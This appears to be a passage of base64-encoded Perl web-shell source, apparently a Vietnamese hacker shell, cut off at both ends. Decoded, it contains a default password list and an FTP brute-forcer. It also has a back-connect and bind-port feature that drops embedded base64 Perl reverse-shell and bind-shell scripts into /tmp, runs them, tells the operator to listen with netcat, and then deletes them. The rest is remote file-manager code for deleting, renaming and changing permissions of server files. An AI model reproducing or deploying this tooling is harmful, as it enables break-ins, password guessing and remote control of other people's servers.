DU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3U8L3RleHRhcmVhPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+Cgo8b3B0aW9uPjA8L29wdGlvbj4KPG9wdGlvbj4xPC9vcHRpb24+CjxvcHRpb24+Mjwvb3B0aW9uPgoKPG9wdGlvbj4zPC9vcHRpb24+Cjwvc2VsZWN0PiAKPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkpOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCEKCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIE1JTUU6OkJhc2U2NDsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJhY2tjb25uZWN0LnBsICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwogICAgaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9CglpZighcm1kaXIoJGRpcikpCgl7CgkJCgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICRmaWxlOwoJfQoJcmV0dXJuICIwIjsKCn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsKCSRwYXRoPX4gcy9cXFxcL1xcL2c7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBPcGVuIFNhbnM7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+PGEgaHJlZj0namF2YXNjcmlwdDpyZXR1cm4gZmFsc2U7JyBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKVwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJCSRmID0gJHBhdGguJGY7CgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsKCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgT3BlbiBTYW5zOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9